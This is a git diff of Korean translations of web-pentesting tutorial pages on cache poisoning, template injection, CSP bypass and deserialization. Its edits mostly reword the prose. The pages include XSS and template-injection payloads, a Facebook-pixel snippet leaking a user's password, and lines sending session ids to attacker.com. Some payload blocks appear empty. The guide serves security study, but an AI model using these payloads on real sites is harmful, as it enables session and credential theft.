`X-Forwarded-Scheme`을 `http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션의 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다. -```markup +```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ @@ -117,7 +117,7 @@ X-Forwarded-Scheme: http ### 제한된 `Vary` 헤더로 악용하기 만약 **`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다: -```markup +```html GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM @@ -125,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -URL와 본문에 요청을 포함하여 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다: +URL와 본문에 요청을 포함한 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -138,13 +138,13 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web ### Parameter Cloacking -예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 구분할 수 있습니다. 이를 통해 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다. +예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 분리할 수 있습니다. 이를 통해 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -여기에서 [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) 수행 방법에 대해 알아보세요. +여기에서 [Cache Poisoning 공격을 HTTP Request Smuggling을 악용하여 수행하는 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)에 대해 알아보세요. ### Automated testing for Web Cache Poisoning @@ -156,7 +156,7 @@ Example usage: `wcvs -u example.com` ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS는 URL 내의 조각을 제거하지 않고 전달하며, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다(조각 무시). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다. +ATS는 URL 내의 조각을 제거하지 않고 전달했으며, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다(조각 무시). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다. 오직 호스트, 경로 및 쿼리만 포함되었습니다. ### GitHub CP-DoS @@ -164,15 +164,15 @@ content-type 헤더에 잘못된 값을 보내면 405 캐시 응답이 발생했 ### GitLab + GCP CP-DoS -GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 `x-http-method-override: HEAD` 헤더를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. `PURGE` 메서드도 지원할 수 있습니다. +GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드를 지원할 수 있었습니다. ### Rack Middleware (Ruby on Rails) -Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. `x-forwarded-scheme: http` 헤더가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다. +Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. 헤더 `x-forwarded-scheme: http`가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다. ### 403 and Storage Buckets -Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 다른 프록시 서비스에서도 여전히 존재할 수 있습니다. +Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 여전히 다른 프록시 서비스에서 존재할 수 있습니다. ### Injecting Keyed Parameters @@ -184,7 +184,7 @@ Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorizatio ### Illegal Header Fields -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. 불법 문자가 포함된 헤더를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다. +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. 불법 문자가 포함된 헤더를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다. ### Finding new headers @@ -194,7 +194,7 @@ Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorizatio Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 만드는 것입니다.** -우선, **extensions**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의하세요. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **extension**을 보고 응답을 저장할 가능성이 높습니다. 그러나 **application**이 _www.example.com/profile.php_에 저장된 **sensitive** 사용자 콘텐츠로 **replaying**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **steal**할 수 있습니다. +우선, **extensions**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의하십시오. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **extension**을 보고 응답을 저장할 가능성이 높습니다. 그러나 **application**이 _www.example.com/profile.php_에 저장된 **sensitive** 사용자 콘텐츠로 **replaying**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **steal**할 수 있습니다. 테스트할 다른 사항들: @@ -209,9 +209,9 @@ Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된 예제에서는 _http://www.example.com/home.php/non-existent.css_와 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_ (**사용자의 민감한 정보 포함**)의 내용이 반환되고 캐시 서버가 결과를 저장한다고 설명합니다.\ 그런 다음 **attacker**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **confidential information**을 관찰할 수 있습니다. -**cache proxy**는 **extension**에 따라 파일을 **cache**하도록 **구성**되어야 하며, content-type에 따라 캐시되지 않아야 합니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/html` content-type을 가지며, 이는 _.css_ 파일에 대한 예상되는 `text/css` mime type이 아닙니다. +**cache proxy**는 **extension**에 따라 파일을 **cache**하도록 **구성**되어야 하며, content-type에 따라 캐시되지 않아야 합니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/html` content-type을 가지며, _.css_ 파일에 대한 예상 mime type인 `text/css`가 아닙니다. -여기에서 [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) 수행 방법에 대해 알아보세요. +여기에서 [Cache Deceptions 공격을 HTTP Request Smuggling을 악용하여 수행하는 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보세요. ## Automatic Tools diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 92f84747f..7867ec4a1 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -6,7 +6,7 @@ 이는 **서버 사이드 템플릿 인젝션**([**Server Side Template Injection**](ssti-server-side-template-injection/index.html))과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다. -이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않으면 원래의 `{{ 7-7 }}`가 표시됩니다. +이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않다면 원래의 `{{ 7-7 }}`가 표시됩니다. ## AngularJS @@ -23,7 +23,7 @@ AngularJS는 HTML과 상호작용하는 널리 사용되는 JavaScript 프레임 ``` 당신은 **AngularJS**의 취약점에 대한 매우 **기본적인 온라인 예제**를 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)와 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)에서 찾을 수 있습니다. -> [!CAUTION] > [**Angular 1.6은 샌드박스를 제거했습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 따라서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 ``와 같은 페이로드가 작동해야 합니다. +> [!CAUTION] > [**Angular 1.6에서 샌드박스가 제거되었습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 따라서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 ``와 같은 페이로드가 작동해야 합니다. ## VueJS @@ -31,7 +31,7 @@ AngularJS는 HTML과 상호작용하는 널리 사용되는 JavaScript 프레임 작동하는 페이로드: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`]() 그리고 취약한 예제의 **소스 코드**는 여기에서 확인할 수 있습니다: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) -```markup +```html ">
aaa
``` diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 18485e7bf..570734a1f 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,7 +4,7 @@ ## What is CSP -Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)과 같은 공격으로부터 보호하기 위한** 브라우저 기술로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout` 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다. +Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)과 같은 공격으로부터 보호하기 위한** 브라우저 기술로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다. CSP의 구현은 **응답 헤더**를 통해 또는 **HTML 페이지에 메타 요소를 포함시킴으로써** 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다. @@ -25,7 +25,7 @@ CSP는 다음 헤더를 사용하여 시행되거나 모니터링될 수 있습 ### Defining Resources -CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 정책의 예는: +CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 예시 정책은: ```bash default-src 'none'; img-src 'self'; @@ -133,7 +133,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval'; Content-Security-Policy: script-src 'self' https://google.com https: data *; ``` 작동하는 페이로드: -```markup +```html "/>'> "/>'> ``` @@ -144,7 +144,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *; Content-Security-Policy: script-src 'self' ; ``` 작동하는 페이로드: -```markup +```html ">'> @@ -153,21 +153,21 @@ Content-Security-Policy: script-src 'self' ; ```yaml Content-Security-Policy: script-src 'self'; object-src 'none' ; ``` -JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다: +만약 JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다: 작동하는 페이로드: -```markup +```html "/>'> ``` 그러나 서버가 **업로드된 파일을 검증하고** 특정 유형의 파일만 **업로드하도록 허용할 가능성이 높습니다**. -게다가, 서버에서 허용하는 확장자를 사용하여 **파일 내에 JS 코드를 업로드할 수 있더라도** (예: _script.png_) 이는 충분하지 않습니다. 왜냐하면 아파치 서버와 같은 일부 서버는 **확장자에 따라 파일의 MIME 유형을 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 **실행하는 것을 거부하기 때문입니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **아파치가** _**.wave**_ 확장자를 인식하지 못하므로 **audio/\***와 같은 **MIME 유형으로 제공하지 않습니다**. +게다가, 서버에서 허용하는 확장자를 가진 파일에 **JS 코드를 포함하여** 업로드할 수 있다고 하더라도(예: _script.png_) 이는 충분하지 않습니다. 일부 서버는 아파치 서버와 같이 **파일의 MIME 유형을 확장자에 따라 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 실행하는 것을 **거부합니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **Apache는** _**.wave**_ 확장자를 알지 못하므로 **audio/\***와 같은 **MIME 유형으로 제공하지 않습니다**. -여기서 XSS와 파일 업로드를 찾고, **잘못 해석된 확장자를** 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 ([여기에서 일부 폴리글롯 예제](https://github.com/Polydet/polyglot-database)). +여기서 XSS와 파일 업로드를 찾고, **잘못 해석된 확장자**를 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 ([여기에서 일부 폴리글롯 예시](https://github.com/Polydet/polyglot-database)). ### Form-action -JS를 주입할 수 없다면, 예를 들어 자격 증명을 **폼 액션을 주입하여** 유출하려고 시도할 수 있습니다 (그리고 아마도 비밀번호 관리자가 비밀번호를 자동으로 채우기를 기대할 수 있습니다). [**이 보고서에서 예를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한, `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하세요. +JS를 주입할 수 없다면, 예를 들어 자격 증명을 **폼 액션을 주입하여** 유출하려고 시도할 수 있습니다(그리고 아마도 비밀번호 관리자가 비밀번호를 자동으로 채우기를 기대할 수 있습니다). [**이 보고서에서 예시를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한, `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하세요. ### 제3자 엔드포인트 + ('unsafe-eval') @@ -197,11 +197,11 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a " > ``` -#### Angular + `window` 객체를 반환하는 함수가 있는 라이브러리를 사용하는 페이로드 ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): +#### Angular과 `window` 객체를 반환하는 함수가 있는 라이브러리를 사용하는 페이로드 ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): > [!NOTE] > 이 게시물은 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 **라이브러리**를 **로드**하고, 각 라이브러리에서 추가된 모든 함수를 실행하며, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있음을 보여줍니다. -```markup +```html
@@ -268,14 +268,14 @@ https://www.google.com/amp/s/example.com/ ``` \*.google.com/script.google.com 악용하기 -script.google.com 내의 페이지에서 정보를 수신하기 위해 Google Apps Script를 악용하는 것이 가능합니다. 이는 [이 보고서에서와 같이](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) 수행됩니다. +script.google.com 내의 페이지에서 정보를 수신하기 위해 Google Apps Script를 악용하는 것이 가능합니다. 이는 [이 보고서에서](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)와 같이 수행됩니다. ### 제3자 엔드포인트 + JSONP ```http Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` -이와 같은 시나리오에서 `script-src`가 `self`와 특정 도메인으로 설정되어 있는 경우, JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 공격자가 XSS를 수행할 수 있는 불안전한 콜백 메서드를 허용합니다. 작동하는 페이로드: -```markup +이와 같은 시나리오에서 `script-src`가 `self`와 특정 도메인으로 설정되어 있는 경우 JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 공격자가 XSS를 수행할 수 있는 불안전한 콜백 메서드를 허용합니다. 작동하는 페이로드: +```html "> "> ``` @@ -284,9 +284,9 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo https://www.youtube.com/oembed?callback=alert; ``` -[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 즉시 사용 가능한 JSONP 엔드포인트를 포함하고 있습니다.** +[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 사용 준비가 완료된 JSONP 엔드포인트를 포함하고 있습니다.** -**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함된 경우** 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰할 수 있습니다. +**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있으면** 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰할 수 있습니다. ### 제3자 남용 @@ -318,7 +318,7 @@ Content-Security-Policy​: connect-src www.facebook.com;​ 1. 여기에서 Facebook Developer 계정을 만듭니다. 2. 새 "Facebook Login" 앱을 만들고 "Website"를 선택합니다. 3. "Settings -> Basic"으로 가서 "App ID"를 가져옵니다. -4. 데이터를 유출하려는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 가젯 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다. +4. 데이터를 유출하려는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 도구 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다. 5. 앱 "Event Manager"로 가서 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events). 6. "Test Events" 탭을 선택하여 "귀하의" 웹사이트에서 전송되는 이벤트를 확인합니다. @@ -329,11 +329,11 @@ fbq('trackCustom', 'My-Custom-Event',{​ data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​ }); ``` -다른 일곱 개의 제3자 도메인에 대해서는, 이를 악용할 수 있는 많은 다른 방법이 있습니다. 다른 제3자 악용에 대한 추가 설명은 이전의 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하세요. +앞서 언급한 표에 명시된 다른 일곱 개의 서드파티 도메인에 대해서도 남용할 수 있는 많은 방법이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전의 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하세요. ### RPO(상대 경로 덮어쓰기)를 통한 우회 -앞서 언급한 경로 제한 우회를 위한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(Relative Path Overwrite, RPO)라는 또 다른 기술이 있습니다. +경로 제한을 우회하기 위한 앞서 언급한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(Relative Path Overwrite, RPO)라는 또 다른 기술이 있습니다. 예를 들어, CSP가 경로 `https://example.com/scripts/react/`를 허용하는 경우, 다음과 같이 우회할 수 있습니다: ```html @@ -359,9 +359,9 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe ### 누락된 **base-uri** -**base-uri** 지시어가 누락된 경우, 이를 악용하여 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html)을 수행할 수 있습니다. +**base-uri** 지시어가 누락된 경우, 이를 악용하여 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html)를 수행할 수 있습니다. -게다가, **페이지가 상대 경로를 사용하여 스크립트를 로드하는 경우**(`` 안에 **임베드**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**됩니다. 또한 WordPress가 설치되어 있기 때문에, 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격**을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\ +공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 **SOME 공격**을 **생성**하고 `` 안에 **삽입**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**됩니다. 또한, WordPress가 설치되어 있기 때문에 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격**을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\ 이 공격을 수행하는 방법에 대한 더 많은 정보는 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)를 확인하세요. ## CSP Exfiltration Bypasses @@ -649,7 +641,7 @@ document.location = "https://attacker.com/?" + sessionid ``` ### DNS Prefetch -페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용할 수 있도록 캐시합니다.\ +페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용하기 위해 캐시합니다.\ 브라우저에게 호스트 이름을 미리 해결하도록 지시할 수 있습니다: `` 이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출할 수 있습니다**: diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index c7d87fc1c..100068a92 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -4,7 +4,7 @@ ## Basic Information -**Serialization**은 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해되며, 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다. +**Serialization**는 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해됩니다. 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다. **Deserialization**은 반대로 직렬화에 반하는 과정입니다. 이는 특정 형식으로 구조화된 데이터를 가져와 다시 객체로 재구성하는 것을 포함합니다. @@ -18,7 +18,7 @@ PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가 - `__wakeup`: 객체가 역직렬화될 때 호출됩니다. 이는 직렬화 중에 손실된 데이터베이스 연결을 재설정하고 다른 재초기화 작업을 수행하는 데 사용됩니다. - `__unserialize`: 이 메서드는 객체가 역직렬화될 때 `__wakeup` 대신 호출됩니다(존재하는 경우). 이는 `__wakeup`에 비해 역직렬화 과정에 대한 더 많은 제어를 제공합니다. - `__destruct`: 이 메서드는 객체가 파괴되기 직전이나 스크립트가 끝날 때 호출됩니다. 일반적으로 파일 핸들이나 데이터베이스 연결을 닫는 등의 정리 작업에 사용됩니다. -- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 기반한 다른 작업에 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다. +- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 합니다. 이는 파일을 읽거나 그 안의 함수 호출에 따라 다른 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다. ```php */ ?> ``` -결과를 보면 객체가 역직렬화될 때 **`__wakeup`** 및 **`__destruct`** 함수가 호출된다는 것을 알 수 있습니다. 여러 튜토리얼에서 **`__toString`** 함수가 일부 속성을 출력하려고 할 때 호출된다고 하지만, 현재는 **더 이상 발생하지 않는 것 같습니다**. +결과를 보면 객체가 역직렬화될 때 **`__wakeup`** 및 **`__destruct`** 함수가 호출되는 것을 알 수 있습니다. 여러 튜토리얼에서 **`__toString`** 함수가 일부 속성을 출력하려고 할 때 호출된다고 하지만, 현재는 **더 이상 그렇지 않은 것 같습니다**. > [!WARNING] > 클래스에 구현된 경우 **`__unserialize(array $data)`** 메서드가 **`__wakeup()`** 대신 호출됩니다. 이 메서드는 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용하여 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다. @@ -90,7 +90,7 @@ This is a test
